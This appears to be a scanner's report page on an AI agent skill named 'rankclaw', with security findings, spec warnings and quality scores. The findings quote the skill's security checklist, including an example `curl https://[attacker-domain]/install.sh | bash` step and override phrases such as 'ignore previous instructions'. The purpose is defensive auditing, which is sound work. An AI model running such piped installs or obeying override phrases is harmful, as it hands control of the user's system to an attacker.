CC rankclaw
RankClaw — AI Agent Trust Layer. Check any ClawHub, OpenClaw, nanobot, nanoclaw, picoclaw, or MCP server skill against 14,700+ indexed tools before installing. Get security scores, malicious flags, and AI-generated safety verdicts.
As a process C 57/100 · Has gaps — weak spots: result and completion, when it triggers, running it twice
What is at stake
Medium-severity findings: the skill is probably honest, but read what alarmed the scanner.
Below is the worst case for this category. The finding here is medium: the guard saw a sign, not a proof.
The skill contains commands that delete files, rewrite disks or execute code fetched from the network. The agent may run them without asking if it believes the instructions require it.
Replace destructive commands with safe equivalents that ask for confirmation, scope them to one folder, and stop piping curl into a shell: pin a version and a checksum.
Below is the worst case for this category. The finding here is medium: the guard saw a sign, not a proof.
The text contains phrases like "ignore previous instructions" or "you are now…". That is an attempt to hijack the agent: it may break your rules, the system limits or company policy.
An honest skill does not need them: state the role and the rules directly without overriding other instructions. Otherwise catalog scanners and corporate filters will block the listing.
How to improve
- Say in the description WHEN to use the skill ("use when…", example requests): that is the agent's main cue.
- For Hermes the description must be one sentence under 60 characters; move the conditions to a "When to Use" section.
- Your own cases (evals/evals.json, 4–6 real requests with expected answers): the full check would then run those instead of a model-drafted suite.
- A spec.yaml with trigger phrases and assertions — a behaviour contract for CI; `skilltest init` writes a template.
Guard findings · 9
✓ No critical or high findings
Medium and low: 9
-
medium Dangerous commands
cmd-pipe-to-shellSECURITY_AUDIT.md:128Downloads and executes remote code from an unrecognised host (pipe to shell) (documentation of a security skill)- [ ] Does it download and execute external scripts (curl | bash, wget | python, etc.)?
security skill -
medium Instruction override
en-ignore-previousSECURITY_AUDIT.md:154Instruction-override phrase ("ignore previous instructions") (documentation of a security skill)- [ ] Does the SKILL.md contain instructions to override safety guidelines?
security skill -
medium Instruction override
en-ignore-previousSECURITY_AUDIT.md:157Instruction-override phrase ("ignore previous instructions") (documentation of a security skill)- [ ] Does it instruct the agent to ignore previous instructions or context?
security skill -
medium Dangerous commands
cmd-pipe-to-shellSECURITY_AUDIT.md:182Downloads and executes remote code from an unrecognised host (pipe to shell) (documentation of a security skill)4. **curl-to-bash from unknown domain**: Install step runs `curl https://[attacker-domain]/install.sh | bash`. Legitimate tools use named package managers.
security skill -
medium Dangerous commands
cmd-pipe-to-shellSECURITY_AUDIT.md:255Downloads and executes remote code from an unrecognised host (pipe to shell) (documentation of a security skill)[ONLY if install steps exist. Analyze each step, flag curl|bash, unsigned binaries, phantom prerequisites.]
security skill
A further 4 matches are quotations in this security skill's documentation and are not counted as findings.
Files scanned: 4. Evidence is masked. Grey chips explain why severity was lowered.
Against the Agent Skills spec
- warning
description-long-hermesdescription is 231 chars; the Hermes authoring standard requires ≤ 60 (one sentence, ending with a period) - warning
description-no-whenneither description nor a "## When to Use" section says when to use the skill - note
frontmatter-keyunknown frontmatter key "homepage"
Process rating: all ten parameters 57/100
- 0Result and completion. Does not say what the result is
- 0Progress reporting. Says nothing while it works
- 20When it triggers. No condition that starts the skill
- 30Running it twice. 3 mutating operations with no state check
- 60Tools and files. Uses tools (bash) that frontmatter does not declare
- 60Failures and branches. 2 branches
- 70Inputs and preconditions. Inputs and preconditions are listed
- 100Steps. 15 steps
- 100Consistency. Name and required fields are in place
- 100Execution cost. Instruction body is 1853 tokens
Everything here is measured from the skill text rather than judged by a model, so the numbers are checkable. A parameter weighs more when it is a more common reason for the process to stall.
Quality signals
- +5Description has no quoted example phrases that should trigger the skill
- +4Description does not say when NOT to use the skill (false activations)
- +3Output format is not stated: the model decides each time
- +1No license
- +2Single-language instructions
- +3Description length 231: enough signal without eating the budget
- +4Structure: 26 headings
- +3Step-by-step instructions: 15 items
- +4Has examples (12 code blocks)
Quality base 70; lint remarks subtract, signals add up to 100. Result: 65.